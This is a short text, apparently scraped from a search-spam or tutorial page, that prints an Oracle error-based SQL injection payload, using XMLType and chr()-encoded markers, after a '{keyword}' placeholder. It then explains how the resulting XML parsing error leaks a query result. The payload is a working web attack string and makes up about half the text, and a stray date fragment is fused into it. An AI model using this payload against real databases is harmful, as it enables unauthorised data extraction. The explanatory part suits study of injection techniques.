{keyword}' And 6957=(select Upper(xmltype(chr(60)||chr(58)||chr(113)||chr(98)||chr(113)||chr(118)||chr(113)||(select (case When (6957=6957) Then 1 Else 0 End) From Dual)||chr(113)||chr(113)||chr(98)||chr(113)||chr(113)||chr(62))) From Dual) And 'plsa'='pls May 2026

CHR(113)CHR(98)CHR(113)CHR(118)CHR(113) = qbqvq (a unique tag/marker)

The core of the payload is SELECT UPPER(XMLType(...)) FROM DUAL .

When Oracle tries to parse the resulting string (e.g., <:qbqvq1qqbqq> ), it realizes it is not a valid XML format. It then returns an error message like: LPX-00110: XML parsing failed... at '<:qbqvq1qqbqq>' .